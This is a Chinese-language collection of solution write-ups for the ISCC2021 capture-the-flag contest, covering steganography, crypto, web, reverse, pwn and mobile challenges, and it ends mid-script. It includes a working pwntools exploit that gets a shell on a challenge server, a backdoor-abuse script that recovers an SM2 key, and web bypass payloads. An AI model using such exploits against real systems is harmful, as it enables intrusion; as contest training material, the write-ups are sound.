ISCC2021-WP合集**
声明：本解题合集并非完全原创，有些解题技巧和思路借鉴和搬运了其他博主或大佬的东西，初衷在于总结做题经验，整理ISCC2021的解题WP，当作笔记学习使用，如有原作者或师傅认为有不妥和错误之处，欢迎评论私信，我会尽快处理。
文章目录
练武题
MISC
李华的红包
题目：大年初一，李华给爸爸拜年，从事计算机行业的父亲发给李华一张图片和一张银行卡。父亲告诉李华密码就藏在图片中，但是李华打开图片后却百思不得其解。你能帮助李华拿到密码吗？
我想说，有个计算机行业的父亲真好~
50分送分题，绝对不会套来套去，上图片：
看到图片下有个头露出，果断改图片大小，改完图片如下：
没弄明白，于是winhex再接着看图片信息，看到有其他类型文件隐藏（别问我怎么看的，因为我根本没看），直接拖到虚拟机里binwalk+foremost分离，出来一个txt文件，内容如下：
24,43,13,13,12,21,43
这一看，数字两位一组，而且不过5，妥妥的棋盘密码，直接解密，得flag:ISCC{ISCCBFS} ,上网一查，棋盘又叫敲击密码，孤陋寡闻了，知道那个🥁是干啥的了。
Retrieve the passcode
Scatter说他能解开这个古怪的密码，你呢？来试试吧！
Flag格式：ISCC{XXX}，XXX为小写字符串，不包括空格
解压得到压缩包和txt文档，内容为
1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1
scatter是散点的意思嘛，明显是画散点图，我拿Matlab画的，得到一个图（这张图也找不到了，代码不想贴）
得到图之后，仔细瞅瞅，这里有个坑，需要把图倒一下，得到365728，这明显是压缩包解密密码，解密后得到：
忽略我的迅雷小图标），下面一串明显是摩斯密码，在线解密得congratulationtheflagischallengeiscctwozerotwoone
那flag就是ISCC{congratulationtheflagischallengeiscctwozerotwoone}
早就知晓iscc的套路，故意分两行迷惑你~
（：补充：
有其他大佬脚本粘贴过来直接得密码图：
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
fig = plt.figure()
ax = fig.gca(projection="3d")
xs, ys ,zs= np.loadtxt('xyz.txt', delimiter=':', unpack=True)
ax.scatter(xs, ys, zs, zdir="z", c="#FF5511", marker="o", s=40)
ax.set(xlabel="X", ylabel="Y", zlabel="Z")
plt.show()
**
鲨鱼哥的专属网络
源自实战题的一道题（来源于硅谷工程师），不难但没做出来，希望大佬提供思路。
海市蜃楼-1
下载过后是一个docx文件，打开是一堆乱码:
但看到了PK，猜测应该是个zip文件，用winhex打开，看到504B0304,果然是个zip压缩文件头，而且包含了很多网页文件
可以直接改后缀为zip,或者拖到虚拟机里binwalk,出来一个文件夹：
我是一个一个找的，在word的document.xml中发现了flag:
海市蜃楼-2
解压压缩包得到一张图片：
是我的童年没有错了，不管三七二十一先放到虚拟机里binwalk+foremost
得到一个压缩包，拿winhex一看，果然没骗我，这次果然是真的海市蜃楼，是真加蜜，找密码吧。
那必定是回到海市蜃楼-1去找，一开始以为1的flag就是密码，结果发现不是，出题人精明了很多，继续找1中的文件，发现一个true.xml有点问题，是个图片格式：
那就改后缀，得到一张图片。啊，是钟爷爷，对钟爷爷的图片一番研究，没发现啥东西，突然想到海市蜃楼-1的flag:ISCC{zheshishui}
顿时明白了，密码就是zhongnanshan
解密后，得到二维码，一扫出现Base64编码：
ZWFzeQ==
解密得到easy，应该又是个文件密码，winhex分析二维码，发现是png文件头，而文件后缀是jpg，必定是有问题，那就接着分离（别骂了，我不会别的）,出来一个txt,解密得到flag
这给我套的，不过比起擂台那几个套题，这个真的很人性化了。
我的折扣是多少
解压压缩包得到三个文件如下
按顺序来，先看give.exe,打开闪退，不过可以看到里面的内容为
pass1{\u006b\u0072\u0077}
明显是Unicode编码，解码后为pass1{krw},
接着看me.zip发现需要输密码，应该是要用到前面的密码，但输入不对，应该是还有坑，拿winhex分析zip压缩包，在末尾发现一串Base64码，在线解密得到pass2{gcc666}，将pass1和pass2合起来
krwgcc666，解密压缩包得到txt文件
打开又得到一串Base64：
再次解密得到youfoundme?这肯定不是flag，还有一个音频文件没看
利用MP3stego解密，密码就是youfoundme?
工具使用参考链接：MP3Stego
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
这次是Base32(没有小写字母），解密得到
ISCC{Yourdiscount2.15}
Base解密库国内推荐BUGKU的自带在线工具：bugku在线工具
美人计
题目描述：美人说的话里有解题提示，但是美人的话不能全信。
解压得美人图一张和二维码一个
用十六进制编辑器打开美人图片：
这就是美人说的话有真有假，扫二维码得到
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
AES连续三次解密，然后就掉坑里了：
y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
果然美人怎么可能轻易让你得到
winhex分析包含二维码的docx文档，发现还有图片隐藏，拖到虚拟机里一顿操作，又出来一张二维码：
扫码又得到一串：
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
再次AES发现不对，看来美人又开始用计了，用DES就可了，密钥仍然是ISCC2021。
出题人应该被伤过，深谙美人套路哈哈~
区块链
智能合约的题目，我当时还以为要编合约交互，是我想多了。
直接去合约网站查询合约地址查看信息：
网站地址(貌似需要魔法操作）
在搜索框输入合约地址0x0ed72dfd4c63dd97df8fec07e5a6bba466c6adf5
然后点击这个地方
这里点击"UTF-8"
flag出现：
Hack the Victim
同样操作，打开上述网站，搜索这个合约地址：
0x68D28fE315E6A344029D42915Fbc7af4261AB833
一串进制数，反编译：
题目说编写攻击合约，貌似没有~
检查一下
一张图片，010查看后没发现什么，拿到kali中binwalk分离一下，得到一堆1，0组成的文件，长度为841，很容易联想到29*29是个二维码
二进制转二维码1对应黑，0对应白
from PIL import Image
MAX = 29
img = Image.new("RGB",(MAX, MAX))
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
img.putpixel([x,y],(0, 0, 0))
else:
img.putpixel([x,y],(255,255,255))
i = i+1
img.show()
img.save("flag.png")
扫码得到flag:
ISCC{Png_Chunk_streams_ISCC}
小明的宠物兔
下载附件发现是一个名为rabbit的图片，一个胖兔子说着我需要碰撞
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为
U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密
打开key.zip发现其中的key.txt只有5字节大小结合那个兔子说的它需要碰撞应该是crc32碰撞
利用解密脚本得到密码:
import binascii
import string
def crack_crc():
print('-------------Start Crack CRC-------------')
crc_list = [0x3dacac6b]#文件的CRC32值列表，注意顺序
comment = ''
chars = string.printable
for crc_value in crc_list:
for char1 in chars:
for char2 in chars:
for char3 in chars:
for char4 in chars:
for char5 in chars:
res_char = char1 + char2 + char3 + char4 + char5#获取遍历的任意4Byte字符
char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
calc_crc = char_crc & 0xffffffff#将遍历的字符的CRC32值与0xffffffff进行与运算
if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
print('[+] {}: {}'.format(hex(crc_value),res_char))
comment += res_char
print('-----------CRC Crack Completed-----------')
print('Result: {}'.format(comment))
if __name__ == '__main__':
crack_crc()
得到密钥：(0_0)
在线解密得到：
ISCC{u_really_know_rabbits}
小明的表情包
附件下载下来是个压缩包，并且需要解压密码。
题目中给了提示凯撒密码“AVARGRRA AVARGL AVAR”是其出生年份，且说密码应该为出生日月年。
在线凯撒解密：
得到出生年份是1999，接下来拿azpr爆破月日
得到密码07071999（我其实是直接爆破的8位，反正早爆晚爆都是爆）
解压后得到一张图片，无法打开，winhex分析，jpg文件缺头补头FFD8FF
再次打开图片：
变异的SM2
贴大佬思路：
密码学题目，我不擅长这方面，果断搜下关键处代码，果然搜到了原题
该题目是2020ByteCTF决赛的题目threshold
搜到的一个WP链接：
需要改下脚本，把server.py和写的脚本放到同一路径下
from pwn import *
from Crypto.Util.number import *
from gmssl import func, sm2
import server
r = remote("129.211.59.129", 20001)
# context.log_level = 'debug'
pk = int(r.recvline().split(b":")[1].decode(), 16)
pks = int(r.recvline().split(b":")[1].decode(), 16)
log.info(f"pk: {pk}")
log.info(f"pks: {pks}")
backdoor = b'0'*128 + b'1'
r.sendlineafter(b"op: ", b"sign")
r.sendlineafter(b"backdoor:", backdoor)
sks = int(r.recvline(), 16)
n = 115792089210356248756420345214020892766061623724957744567843809356293439045923
# pks = (sk + 1) * sks ^ -1
sk = inverse(pks * sks, n) - 1
log.info(f"sk: {sk}")
data = b'Hello, Welcome to ISCC2021!'
e = int(data.hex(), 16)
k = 2
tsm2 = server.TSM2('0xdeadbeaf')
P1_P2 = tsm2._kg(k, server.G)
R = int(P1_P2[:64], 16) + e
s = inverse(1+sk, n) * (k - R*sk) % n
r.sendlineafter(b"op: ", b"verify")
r.sendlineafter(b"msg:", data)
r.sendlineafter(b"sign:", hex(R)[2:].zfill(64) + hex(s)[2:].zfill(64))
r.interactive()
flag如下：
混乱的音频
等待大佬~~
算-错
等待大佬~~
Long Time
等待大佬~~
Web
当时没写wp，这部分就复现其他师傅们的了
ISCC客服冲冲冲（一）
又到了一年一度的ISCC，客服一号为了保住饭碗（被迫）参与了今年的客服海选投票。经过激烈的角逐，客服一号终于凭借着自己多年的客服经验来到决赛的舞台，却发现对手竟是自己？？？
请帮助真正的客服一号在投票中取胜，保住客服一号的饭碗！ 题目入口：http://39.96.91.106:7020
方法一：使用连点器
设置每秒点击100次，得到flag
方法二：修改按钮ID
F12将两个按钮的id交换
方法三：
js调用click函数，控制台输入
setInterval(function(){document.getElementById("left_button").click();},1);
方法四：刷票
local_left_votes=999999
这是啥
这是什么东西呢？
题目入口：http://39.96.91.106:7030
查看源代码发现如图所示代码，jsfuck编码：
在线编码运行或直接控制台运行：
Web01
打开便提示Why don’t you take a look at robots.txt?
那就访问robots.txt看看呗，发现Disallow: /src/code/code.txt
所以就访问http://39.96.91.106:7040/code/code.txt
发现几个判断条件，满足条件便会输出flag
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
参数长度小于8但数值还要大于9999999，直接用科学计数法如1e9绕过即可
if (strpos ($_GET['password'], '*-*') !== FALSE)
要求参数里要含有*-*
所以最终请求参数为?password=1e9*-*
REVERSE
我懒了，接着搬师傅们的~
Garden
下载附件后是一个.pyc的文件，很明显这是python的编译文件，拿到在线反编译的网站上进行反编译即可得到源码。
import platform
import sys
import marshal
import types
def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
if len(s) != len(f):
return False
checksum = None
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123
return checksum == 0
if sys.version_info.major != 2 or sys.version_info.minor != 7:
sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.') #试试python 2.7
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc <flag>')
flag = sys.argv[1]
if len(flag) >= 32:
print ('too long.') #太长了
sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
if ch not in alphabet:
print ('\xe4\xb8\x8d\xe5\xaf\xb9.' ) #不对
sys.exit(1)
continue
if check(flag):
print ('\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!') #就是这个
sys.exit(0)
else:
print ('\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.') #搞错了
sys.exit(1)
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
flag = ''
for i in f:
flag += chr(ord(i)^123)
print(flag)
Analysis
题干提示分析就完事了，事实也的确如此，直接IDA打开就是分析
通过字符串找到关键点
进入mix查看
int __cdecl mix(char *a1, char *a2, int a3)
{
char v3; // ST14_1
char v4; // dl
int result; // eax
int n; // [esp+18h] [ebp-20h]
int m; // [esp+1Ch] [ebp-1Ch]
int l; // [esp+20h] [ebp-18h]
size_t k; // [esp+24h] [ebp-14h]
int j; // [esp+28h] [ebp-10h]
int i; // [esp+2Ch] [ebp-Ch]
for ( i = 0; i < a3; ++i ) // 先全部减去64，因为‘A’的ASCII码为65，这里可以理解为获取在字母表中位置
a1[i] -= 64;
for ( j = 0; j < a3; ++j ) // 当前值=当前值与下一值得差
a1[j] -= a1[j + 1];
for ( k = 0; k < strlen(a2); ++k ) // k < 7
a2[k] %= 64; // 取余
for ( l = 0; l < a3; ++l )
a1[l] += a2[l % 7]; // 将a2作为密匙循环自加
for ( m = 0; a3 / 2 > m; ++m )
{ // 中间对称互换
v3 = a1[m];
a1[m] = a1[a3 - m - 1];
a1[a3 - m - 1] = v3;
}
for ( n = 0; ; ++n )
{
result = n;
if ( n >= a3 )
break;
if ( a2[n % 7] & 1 ) // 利用a2作为判断依据
v4 = a1[n] + 2;
else
v4 = a1[n] + 1;
a1[n] = v4;
}
return result;
}
所以有明文，有算法，还不会逆吗
cpt = [67,-33,20,3,13,44,9,1,23,23,8,-4,43,-6,20,23,-7,37,-11,34,61,-50,24,22,10]
mix = [82,69,86,69,82,83,69]
for k in range(len(mix)):
mix[k] %= 64
#加密用的密匙都是取余后的，所以先取余操作
for n in range(len(cpt)):
if mix[n%7] & 1:
cpt[n] -= 2
else:
cpt[n] -= 1
#先逆加一和加二
for m in range(len(cpt)//2):
x = cpt[m]
cpt[m] = cpt[len(cpt)-1-m]
cpt[len(cpt)-1-m] = x
#对称互换
for l in range(len(cpt)):
cpt[l] -= mix[l%7]
#逆自加，既自减
for j in range(len(cpt)-2,-1,-1):
cpt[j] += cpt[j+1]
#这一步需要从后往前，因为最后一个字符是不变的
for i in range(len(cpt)):
cpt[i] += 64
#加回64
print(cpt)
#列表形式输出（ASCII码形式）
for i in range(len(cpt)):
cpt[i] = chr(cpt[i])
#转为字符
flag = ''.join(cpt)#串成串
print(flag)
#输出
'''
[73, 83, 67, 67, 123, 82, 69, 86, 69, 82, 83, 69, 95, 73, 83, 95, 78, 79, 84, 95, 72, 65, 82, 68, 125]
ISCC{REVERSE_IS_NOT_HARD}
'''
写给萌新：讲一下这里取上面的cpt串和mix串的依据，在IDA里面，字符串的形式有两种，
1.明显的字符串存储形式；
2.单独的字符，但是以连续的地址以及连续的名称存储
Ron’s Code
无壳，直接用IDA打开，就能看到main函数和加密函数
依次分析加密函数——mix
突然有事下次再补吧~
PWN
game
我们一起玩个游戏吧
题目入口：http://39.96.88.40:7040
这道题和攻防世界里的两道题很相似，但是绕了两次，利用的是srand和rand函数的配合使用去产生随机数，通过read函数去读取数据，覆盖地址让随机数不再随机，从而进行一一输入匹配拿到shell.
直接贴exploit了：
from pwn import *
from ctypes import *
import time
#context.log_level='debug'
r =remote("39.96.88.40","7040")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a"*0x24+p64(1).decode()
r.recvuntil("Your name is :")
r.sendline(payload)
libc.srand(1)
for i in range(10):
num = libc.rand()
libc.srand(num)
num1=str(libc.rand()%0x64+1)
r.sendline(num1)
r.interactive()
Mobile
OHHH
libnc.so里是主要java层逻辑。
check1在libLibs.so中。
经过hook测试，check1: 6个小写字母
而且必须满足一些条件：
在这里插入代码import hashlib
import string
s = string.ascii_lowercase
d = 0
for i1 in s:
for i2 in s:
for i3 in s:
for i4 in s:
for i5 in s:
for i6 in s:
ss = i1+i2+i3+i4+i5+i6
a = hashlib.md5()
a.update(ss.encode(encoding='utf-8'))
aa = a.hexdigest()
b = 0
c = 0
d = 0
for i in aa:
if i == "0":
c += 1
d += b
b += 1
if d + c * 10 == 403:
print(d + c*10)
print(ss, aa)
# 403
# ozulmt 0ec448d42dbf0000c020c0000048010e
最后根据生成的数字作为索引，打乱md5加密的值。
sss = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
a = [6,10,11,4,5,7,13,7,2,2,3,5,8,3,11,10,10,4,6,13,8,11,2,12,11,1,12,3,12,4,0,6]
for i in a:
print(sss[i],end="")
flag:
ISCC{6ab457d7223583baa46d8b2cb1c3c406}
LOCKK
小K把他的密码加密起来保存了，但是他却不知道该怎么解密了，来帮小明解密出来他的密码吧！
这道题明显不是我独立能做出来的，下面展示一位大佬的思路：
这是一道 apk 逆向，核心函数位于 SO 库中并且在 JNI_OnLoad 中动态绑定函数。
反调试
JNI_OnLoad 中有 ptrace 反调试，patch 掉即可
签名验证
这道题的密钥由 apk 签名数据决定，因此要获取原始密钥，必须保证 apk 没有更改。但是为了反反调试，必须 patch so 文件。
这里可以采取直接将修改的 so 文件 push 到 apk 安装后的目录中，这样并不会改变 apk 本身的签名。
核心算法是 AES 变种 + CBC 模式
要解密如下字符串：
j9lXGz/eWs4iODrHgTbQZdtXl1RjO82FQhSADajx1vRNnw2NIASP/2mySb2Dqmgh
AES 变种
1.修改了 行移位为 列移位
输入数据
df db 5d b9
41 9b b8 44
f6 74 74 74
74 74 74 95
shift 本题计算结果:
DF 74 74 44
41 DB 74 74
F6 9B 5D 95
74 74 B8 B9
shift 标准计算结果:
df db 5d b9
9b b8 44 41
74 74 f6 74
95 74 74 74
2.修改了列混合的行为
该题列混淆时，先将矩阵转置，再列混淆，最后再转置
3.修改了 子密钥计算过程
具体怎么计算的没有细看，直接复制它计算好的数据即可, 但是要保证是没有被检测到反调试的数据
int subkeys[11][16] = {
0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
};
正向加密流程如下(注意用的是 myshift，还有 myTranspose )
myAddRoundKey(pArray, subkeys, 0);
printArray(pArray);
for(int i = 1; i < 10; i++){
subBytes(pArray);//字节代换
myshift(pArray);//行移位
myTranspose(pArray);
mixColumns(pArray);//列混合
myTranspose(pArray);
myAddRoundKey(pArray, subkeys, i);
}
subBytes(pArray);
myshift(pArray);
myAddRoundKey(pArray, subkeys, 10);
完整解密脚本
#include <stdio.h>
#include <string.h>
#include <cctype>
#include <stdlib.h>
/**
* S盒
*/
static const int S[16][16] = { 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
/**
* 逆S盒
*/
static const int S2[16][16] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
static const int S3[] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
